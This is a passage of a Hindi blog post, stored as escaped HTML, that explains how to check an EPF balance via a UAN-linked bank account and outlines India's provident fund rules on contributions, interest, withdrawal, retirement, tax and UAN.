id=\"UAN_%E0%A4%B8%E0%A5%87_%E0%A4%B2%E0%A4%BF%E0%A4%82%E0%A4%95%E0%A5%8D%E0%A4%A1_%E0%A4%AC%E0%A5%88%E0%A4%82%E0%A4%95_%E0%A4%96%E0%A4%BE%E0%A4%A4%E0%A5%87_%E0%A4%95%E0%A5%87_%E0%A4%A6%E0%A5%8D%E0%A4%B5%E0%A4%BE%E0%A4%B0%E0%A4%BE_%E0%A4%AC%E0%A5%88%E0%A4%B2%E0%A5%87%E0%A4%82%E0%A4%B8_%E0%A4%9A%E0%A5%87%E0%A4%95_%E0%A4%95%E0%A4%B0%E0%A5%87%E0%A4%82\"><\/span><strong>UAN <\/strong><strong>\u0938\u0947 <\/strong><strong>\u0932\u093f\u0902\u0915\u094d\u0921 <\/strong><strong>\u092c\u0948\u0902\u0915 <\/strong><strong>\u0916\u093e\u0924\u0947 <\/strong><strong>\u0915\u0947 <\/strong><strong>\u0926\u094d\u0935\u093e\u0930\u093e <\/strong><strong>\u092c\u0948\u0932\u0947\u0902\u0938 <\/strong><strong>\u091a\u0947\u0915 <\/strong><strong>\u0915\u0930\u0947\u0902<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u092f\u0926\u093f \u0906\u092a\u0915\u093e EPF \u0916\u093e\u0924\u093e \u0906\u092a\u0915\u0947 <strong>UAN (Universal Account Number)<\/strong> \u0938\u0947 \u0932\u093f\u0902\u0915\u094d\u0921 \u0939\u0948, \u0924\u094b \u0906\u092a \u092c\u0948\u0902\u0915 \u0915\u0947 \u0907\u0902\u091f\u0930\u0928\u0947\u091f \u092c\u0948\u0902\u0915\u093f\u0902\u0917 \u092a\u094d\u0932\u0947\u091f\u092b\u0949\u0930\u094d\u092e \u0915\u093e \u0907\u0938\u094d\u0924\u0947\u092e\u093e\u0932 \u0915\u0930\u0915\u0947 \u092d\u0940 \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0915\u0947 \u0932\u093f\u090f:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>\u0905\u092a\u0928\u0947 \u092c\u0948\u0902\u0915 \u0915\u0947 \u0907\u0902\u091f\u0930\u0928\u0947\u091f \u092c\u0948\u0902\u0915\u093f\u0902\u0917 \u092a\u094d\u0932\u0947\u091f\u092b\u0949\u0930\u094d\u092e \u092a\u0930 \u0932\u0949\u0917\u093f\u0928 \u0915\u0930\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0935\u0939\u093e\u0902 \u092a\u0930 <strong>EPF<\/strong> \u0938\u0947 \u0938\u0902\u092c\u0902\u0927\u093f\u0924 \u0911\u092a\u094d\u0936\u0928 \u0915\u094b \u0916\u094b\u091c\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0905\u092a\u0928\u093e <strong>UAN<\/strong> \u0914\u0930 \u0906\u0935\u0936\u094d\u092f\u0915 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u0926\u0930\u094d\u091c \u0915\u0930\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0906\u092a\u0915\u094b \u0906\u092a\u0915\u0947 EPF \u0916\u093e\u0924\u0947 \u0915\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u0914\u0930 \u0938\u0902\u092c\u0902\u0927\u093f\u0924 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0939\u094b \u091c\u093e\u090f\u0917\u0940\u0964<\/li>\n<\/ol>\n\n\n\n<p>EPFO \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930\u0928\u093e \u0905\u092c \u092a\u0939\u0932\u0947 \u0938\u0947 \u0915\u0939\u0940\u0902 \u091c\u094d\u092f\u093e\u0926\u093e \u0906\u0938\u093e\u0928 \u0939\u094b \u0917\u092f\u093e \u0939\u0948, \u0914\u0930 \u0907\u0938\u0915\u0947 \u0932\u093f\u090f \u0906\u092a\u0915\u094b \u0915\u0908 \u0935\u093f\u0915\u0932\u094d\u092a \u0909\u092a\u0932\u092c\u094d\u0927 \u0939\u0948\u0902\u0964 \u0906\u092a EPFO \u0915\u0940 \u0935\u0947\u092c\u0938\u093e\u0907\u091f, \u092e\u093f\u0938\u094d\u0921 \u0915\u0949\u0932 \u0938\u0930\u094d\u0935\u093f\u0938, \u092e\u094b\u092c\u093e\u0907\u0932 \u0910\u092a, SMS \u0938\u0947\u0935\u093e, \u092f\u093e \u0911\u0928\u0932\u093e\u0907\u0928 \u092a\u093e\u0938\u092c\u0941\u0915 \u0938\u0947 \u0905\u092a\u0928\u0940 EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938 \u092a\u094d\u0930\u0915\u093e\u0930, \u0905\u092a\u0928\u0940 \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u094d\u0925\u093f\u0924\u093f \u092a\u0930 \u0928\u091c\u093c\u0930 \u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u092f\u0947 \u0938\u0941\u0935\u093f\u0927\u093e\u090f\u0902 \u092c\u0939\u0941\u0924 \u0939\u0940 \u0909\u092a\u092f\u094b\u0917\u0940 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%95%E0%A4%BE_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE_%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%B9%E0%A5%88_What_is_the_rule_of_PF\"><\/span><strong>\u092a\u0940\u090f\u092b \u0915\u093e \u0928\u093f\u092f\u092e \u0915\u094d\u092f\u093e \u0939\u0948 (What is the rule of PF) ?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u092a\u0940\u090f\u092b (Provident Fund) \u090f\u0915 \u092c\u091a\u0924 \u092f\u094b\u091c\u0928\u093e \u0939\u0948, \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0938\u0947\u0935\u093e\u0928\u093f\u0935\u0943\u0924\u094d\u0924\u093f \u0915\u0947 \u092c\u093e\u0926 \u0906\u0930\u094d\u0925\u093f\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u092a\u094d\u0930\u0926\u093e\u0928 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u092f\u094b\u091c\u0928\u093e \u0935\u093f\u0936\u0947\u0937 \u0930\u0942\u092a \u0938\u0947 \u092d\u093e\u0930\u0924 \u092e\u0947\u0902 \u0915\u093e\u092e\u0915\u093e\u091c\u0940 \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092c\u0928\u093e\u0908 \u0917\u0908 \u0939\u0948, \u091c\u093f\u0938\u092e\u0947\u0902 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0914\u0930 \u0909\u0928\u0915\u0947 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0926\u094b\u0928\u094b\u0902 \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u0907\u0938 \u092f\u094b\u091c\u0928\u093e \u0915\u093e \u092e\u0941\u0916\u094d\u092f \u0909\u0926\u094d\u0926\u0947\u0936\u094d\u092f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u092d\u0935\u093f\u0937\u094d\u092f \u0915\u094b \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u0915\u0930\u0928\u093e \u0939\u0948, \u0924\u093e\u0915\u093f \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0909\u0928\u094d\u0939\u0947\u0902 \u0906\u0930\u094d\u0925\u093f\u0915 \u0938\u0902\u0915\u091f \u0915\u093e \u0938\u093e\u092e\u0928\u093e \u0928 \u0915\u0930\u0928\u093e \u092a\u0921\u093c\u0947\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%95%E0%A5%87_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%87_%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%AE%E0%A5%81%E0%A4%96_%E0%A4%AA%E0%A4%B9%E0%A4%B2%E0%A5%82\"><\/span><strong>\u092a\u0940\u090f\u092b <\/strong><strong>\u0915\u0947 <\/strong><strong>\u0928\u093f\u092f\u092e\u094b\u0902 <\/strong><strong>\u0915\u0947 <\/strong><strong>\u092a\u094d\u0930\u092e\u0941\u0916 <\/strong><strong>\u092a\u0939\u0932\u0942:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u092a\u0940\u090f\u092b<\/strong><strong> <\/strong><strong>\u0916\u093e\u0924\u093e<\/strong><strong> <\/strong><strong>\u0916\u094b\u0932\u0928\u093e (Opening <\/strong>EPF A<strong>ccount)<\/strong><strong>:<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u0939\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940, \u091c\u094b EPF \u092f\u094b\u091c\u0928\u093e \u092e\u0947\u0902 \u0936\u093e\u092e\u093f\u0932 \u0939\u0948, \u0915\u094b \u090f\u0915 \u0935\u094d\u092f\u0915\u094d\u0924\u093f\u0917\u0924 EPF \u0916\u093e\u0924\u093e \u0926\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0907\u0938 \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928, \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0914\u0930 \u0909\u0938 \u092a\u0930 \u0905\u0930\u094d\u091c\u093f\u0924 \u092c\u094d\u092f\u093e\u091c \u091c\u092e\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u092a\u0940\u090f\u092b \u0916\u093e\u0924\u0947 \u0915\u0940 \u0938\u0902\u0916\u094d\u092f\u093e <strong>UAN (Universal Account Number)<\/strong> \u0915\u0947 \u0926\u094d\u0935\u093e\u0930\u093e \u092a\u0939\u091a\u093e\u0928\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948, \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u092a\u0942\u0930\u0947 \u0915\u0930\u093f\u092f\u0930 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u090f\u0915 \u0939\u0940 \u0930\u0939\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong><strong> (Contribution):<\/strong>\n<ul class=\"wp-block-list\">\n<li>EPF \u092f\u094b\u091c\u0928\u093e \u0915\u0947 \u0924\u0939\u0924, \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0926\u094b\u0928\u094b\u0902 \u0915\u094b \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u0915\u0941\u091b \u092a\u094d\u0930\u0924\u093f\u0936\u0924 \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u0928\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0906\u092e\u0924\u094c\u0930 \u092a\u0930 12% \u0939\u094b\u0924\u093e \u0939\u0948, \u091c\u094b \u0909\u0928\u0915\u0940 \u092e\u093e\u0938\u093f\u0915 \u0938\u0948\u0932\u0930\u0940 \u0915\u093e 12% \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0915\u093e \u092d\u0940 12% \u092f\u094b\u0917\u0926\u093e\u0928 \u0939\u094b\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u092e\u0947\u0902 8.33% \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e (EPS) \u0915\u0947 \u0932\u093f\u090f \u0914\u0930 3.67% EPF \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0907\u0938 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u094b \u0935\u0947\u0924\u0928 \u0915\u0947 \u0938\u093e\u0925 \u0915\u093e\u091f\u093e \u091c\u093e\u0924\u093e \u0939\u0948 \u0914\u0930 EPF \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u092c\u094d\u092f\u093e\u091c<\/strong><strong> <\/strong><strong>\u0926\u0930<\/strong><strong> (Interest Rate):<\/strong>\n<ul class=\"wp-block-list\">\n<li>EPF \u0916\u093e\u0924\u0947 \u092a\u0930 \u092d\u093e\u0930\u0924 \u0938\u0930\u0915\u093e\u0930 \u0926\u094d\u0935\u093e\u0930\u093e \u0928\u093f\u0930\u094d\u0927\u093e\u0930\u093f\u0924 \u092c\u094d\u092f\u093e\u091c \u0926\u0930 \u0932\u093e\u0917\u0942 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u092f\u0939 \u092c\u094d\u092f\u093e\u091c \u0926\u0930 \u0939\u0930 \u0938\u093e\u0932 \u092c\u0926\u0932 \u0938\u0915\u0924\u0940 \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 \u0906\u092e \u0924\u094c\u0930 \u092a\u0930 \u092f\u0939 8% \u0938\u0947 8.5% \u0915\u0947 \u092c\u0940\u091a \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0907\u0938 \u092c\u094d\u092f\u093e\u091c \u0915\u093e \u0932\u093e\u092d \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 EPF \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u0939\u094b\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0909\u0928\u0915\u0947 \u0916\u093e\u0924\u0947 \u0915\u0940 \u0930\u093e\u0936\u093f \u092c\u0922\u093c\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u0928\u093f\u0915\u093e\u0938\u0940<\/strong><strong> (PF Withdrawal):<\/strong>\n<ul class=\"wp-block-list\">\n<li>EPF \u0930\u093e\u0936\u093f \u0924\u092c \u0928\u093f\u0915\u093e\u0932\u0940 \u091c\u093e \u0938\u0915\u0924\u0940 \u0939\u0948 \u091c\u092c \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u092f\u093e \u0928\u094c\u0915\u0930\u0940 \u091b\u094b\u0921\u093c\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0928\u094c\u0915\u0930\u0940 \u092c\u0926\u0932\u0928\u0947 \u092a\u0930 EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u0915\u094b \u0928\u090f \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091f\u094d\u0930\u093e\u0902\u0938\u092b\u0930 \u0915\u093f\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0906\u0902\u0936\u093f\u0915 \u0928\u093f\u0915\u093e\u0938\u0940 \u0915\u0940 \u0905\u0928\u0941\u092e\u0924\u093f \u092d\u0940 \u0915\u0941\u091b \u0935\u093f\u0936\u0947\u0937 \u092a\u0930\u093f\u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0926\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948, \u091c\u0948\u0938\u0947 \u0918\u0930 \u0916\u0930\u0940\u0926\u0928\u0947, \u0936\u093f\u0915\u094d\u0937\u093e, \u091a\u093f\u0915\u093f\u0924\u094d\u0938\u093e \u0906\u0926\u093f \u0915\u0947 \u0932\u093f\u090f\u0964<\/li>\n\n\n\n<li>\u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0906\u0902\u0936\u093f\u0915 \u0928\u093f\u0915\u093e\u0938\u0940 \u0915\u0947 \u0932\u093f\u090f \u0915\u092e \u0938\u0947 \u0915\u092e 5 \u0938\u093e\u0932 \u0915\u093e \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f \u092a\u0942\u0930\u093e \u0915\u0930\u0928\u093e \u091c\u0930\u0942\u0930\u0940 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u0938\u0947\u0935\u093e\u0928\u093f\u0935\u0943\u0924\u094d\u0924\u093f<\/strong><strong> (Retirement):<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u091c\u092c \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 58 \u0938\u093e\u0932 \u0915\u0940 \u0909\u092e\u094d\u0930 \u092e\u0947\u0902 \u0938\u0947\u0935\u093e\u0928\u093f\u0935\u0943\u0924\u094d\u0924 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0935\u0947 \u0905\u092a\u0928\u0947 EPF \u0916\u093e\u0924\u0947 \u0938\u0947 \u092a\u0942\u0930\u0940 \u0930\u093e\u0936\u093f \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u091c\u093f\u0938\u092e\u0947\u0902 \u0909\u0928\u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928, \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0915\u093e \u092f\u094b\u0917\u0926\u093e\u0928 \u0914\u0930 \u092c\u094d\u092f\u093e\u091c \u0936\u093e\u092e\u093f\u0932 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926, \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u094b \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0928\u0947 \u0915\u093e \u092d\u0940 \u0905\u0927\u093f\u0915\u093e\u0930 \u0939\u094b\u0924\u093e \u0939\u0948, \u091c\u094b EPS (Employees\u2019 Pension Scheme) \u0915\u0947 \u0924\u0939\u0924 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u092e\u0943\u0924\u094d\u092f\u0941<\/strong><strong> <\/strong><strong>\u0915\u0947<\/strong><strong> <\/strong><strong>\u092c\u093e\u0926<\/strong><strong> (In Case of Death):<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u0905\u0917\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0940 \u092e\u0943\u0924\u094d\u092f\u0941 \u0939\u094b \u091c\u093e\u0924\u0940 \u0939\u0948, \u0924\u094b \u0909\u0938\u0915\u0947 EPF \u0916\u093e\u0924\u0947 \u0915\u093e \u092c\u0948\u0932\u0947\u0902\u0938 \u0909\u0938\u0915\u0947 \u0928\u093e\u092e\u093e\u0902\u0915\u093f\u0924 \u092a\u0930\u093f\u0935\u093e\u0930 \u0938\u0926\u0938\u094d\u092f \u0915\u094b \u0926\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e, \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u091c\u0928\u093e \u0915\u0947 \u0905\u0902\u0924\u0930\u094d\u0917\u0924, \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0932\u093e\u092d \u092d\u0940 \u0926\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u092e\u0942\u0932\u094d\u092f\u093e\u0902\u0915\u0928<\/strong><strong> (Valuation):<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0947 \u0938\u093e\u0925-\u0938\u093e\u0925 \u0909\u0938 \u092a\u0930 \u0905\u0930\u094d\u091c\u093f\u0924 \u092c\u094d\u092f\u093e\u091c \u092d\u0940 \u0926\u0947\u0916\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u092f\u0939 \u092e\u0942\u0932\u094d\u092f\u093e\u0902\u0915\u0928 \u0938\u092e\u092f-\u0938\u092e\u092f \u092a\u0930 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948, \u0914\u0930 \u092f\u0926\u093f \u0915\u094b\u0908 \u092c\u0926\u0932\u093e\u0935 \u0939\u094b\u0924\u093e \u0939\u0948, \u0924\u094b EPF \u0916\u093e\u0924\u093e \u092e\u0947\u0902 \u0909\u0938\u0947 \u0905\u092a\u0921\u0947\u091f \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u092a\u0940\u090f\u092b<\/strong><strong> <\/strong><strong>\u0915\u093e<\/strong><strong> <\/strong><strong>\u091f\u0948\u0915\u094d\u0938<\/strong><strong> (Tax on PF):<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>EPF <\/strong><strong>\u092a\u0930<\/strong><strong> <\/strong><strong>\u091f\u0948\u0915\u094d\u0938<\/strong>: \u092f\u0926\u093f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u093e EPF \u0916\u093e\u0924\u093e 5 \u0938\u093e\u0932 \u0938\u0947 \u0915\u092e \u0938\u092e\u092f \u0915\u0947 \u0932\u093f\u090f \u0938\u0915\u094d\u0930\u093f\u092f \u0930\u0939\u093e \u0939\u094b, \u0924\u094b \u0909\u0938\u0947 \u091f\u0948\u0915\u094d\u0938 \u0926\u0947\u0928\u093e \u092a\u0921\u093c \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u092f\u0926\u093f \u0915\u093f\u0938\u0940 \u0915\u093e\u0930\u0923\u0935\u0936 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 5 \u0938\u093e\u0932 \u0938\u0947 \u092a\u0939\u0932\u0947 EPF \u0928\u093f\u0915\u093e\u0932\u0924\u093e \u0939\u0948, \u0924\u094b \u0909\u0938 \u092a\u0930 \u091f\u0948\u0915\u094d\u0938 \u0932\u093e\u0917\u0942 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u092f\u093e 5 \u0938\u093e\u0932 \u092a\u0942\u0930\u0947 \u0915\u0930\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 EPF \u0928\u093f\u0915\u093e\u0938\u0940 \u092a\u0930 \u0915\u094b\u0908 \u091f\u0948\u0915\u094d\u0938 \u0928\u0939\u0940\u0902 \u0932\u0917\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>UAN (Universal Account Number):<\/strong>\n<ul class=\"wp-block-list\">\n<li>UAN \u090f\u0915 \u092f\u0942\u0928\u093f\u0935\u0930\u094d\u0938\u0932 \u0905\u0915\u093e\u0909\u0902\u091f \u0928\u0902\u092c\u0930 \u0939\u094b\u0924\u093e \u0939\u0948, \u091c\u094b EPF \u0916\u093e\u0924\u094b\u0902 \u0915\u094b \u0932\u093f\u0902\u0915 \u0915\u0930\u0928\u0947 \u0915\u093e \u0915\u093e\u092e \u0915\u0930\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u0928\u0902\u092c\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u093e \u0938\u094d\u0925\u093e\u092f\u0940 \u092a\u0939\u091a\u093e\u0928 \u092a\u0924\u094d\u0930 \u092c\u0928 \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>UAN \u0915\u0947 \u092e\u093e\u0927\u094d\u092f\u092e \u0938\u0947 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0905\u092a\u0928\u093e EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u091f\u094d\u0930\u093e\u0902\u0938\u092b\u0930 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u0915\u094d\u0932\u0947\u092e \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%AB_%E0%A4%A8%E0%A4%BF%E0%A4%AF%E0%A4%AE%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%87_%E0%A4%B2%E0%A4%BE%E0%A4%AD_Benefits_of_PF_Rules\"><\/span><strong>\u092a\u0940\u090f\u092b <\/strong><strong>\u0928\u093f\u092f\u092e\u094b\u0902 <\/strong><strong>\u0915\u0947 <\/strong><strong>\u0932\u093e\u092d (Benefits of PF Rules):<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u0935\u093f\u0924\u094d\u0924\u0940\u092f<\/strong><strong> <\/strong><strong>\u0938\u0941\u0930\u0915\u094d\u0937\u093e (Financial Security)<\/strong><strong>:<\/strong> \u092a\u0940\u090f\u092b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u092a\u094d\u0930\u0926\u093e\u0928 \u0915\u0930\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0935\u0947 \u0906\u0930\u093e\u092e \u0938\u0947 \u0905\u092a\u0928\u093e \u091c\u0940\u0935\u0928 \u091c\u0940 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n\n\n\n<li><strong>\u092c\u094d\u092f\u093e\u091c<\/strong><strong> <\/strong><strong>\u0932\u093e\u092d (Interest Benefit) <\/strong><strong>:<\/strong> EPF \u0916\u093e\u0924\u0947 \u092a\u0930 \u0938\u0930\u0915\u093e\u0930 \u0926\u094d\u0935\u093e\u0930\u093e \u0928\u093f\u0930\u094d\u0927\u093e\u0930\u093f\u0924 \u092c\u094d\u092f\u093e\u091c \u092e\u093f\u0932\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u092a\u0948\u0938\u0947 \u092c\u0922\u093c\u0924\u0947 \u0930\u0939\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n\n\n\n<li><strong>\u0928\u094c\u0915\u0930\u0940<\/strong><strong> <\/strong><strong>\u092c\u0926\u0932\u0928\u0947<\/strong><strong> <\/strong><strong>\u092a\u0930<\/strong><strong> <\/strong><strong>\u091f\u094d\u0930\u093e\u0902\u0938\u092b\u0930<\/strong><strong> <\/strong><strong>\u0938\u0941\u0935\u093f\u0927\u093e (Transfer facility on changing job):<\/strong> \u0928\u094c\u0915\u0930\u0940 \u092c\u0926\u0932\u0924\u0947 \u0938\u092e\u092f EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u091f\u094d\u0930\u093e\u0902\u0938\u092b\u0930 \u0915\u0930\u0928\u0947 \u0915\u0940 \u0938\u0941\u0935\u093f\u0927\u093e \u0939\u094b\u0924\u0940 \u0939\u0948, 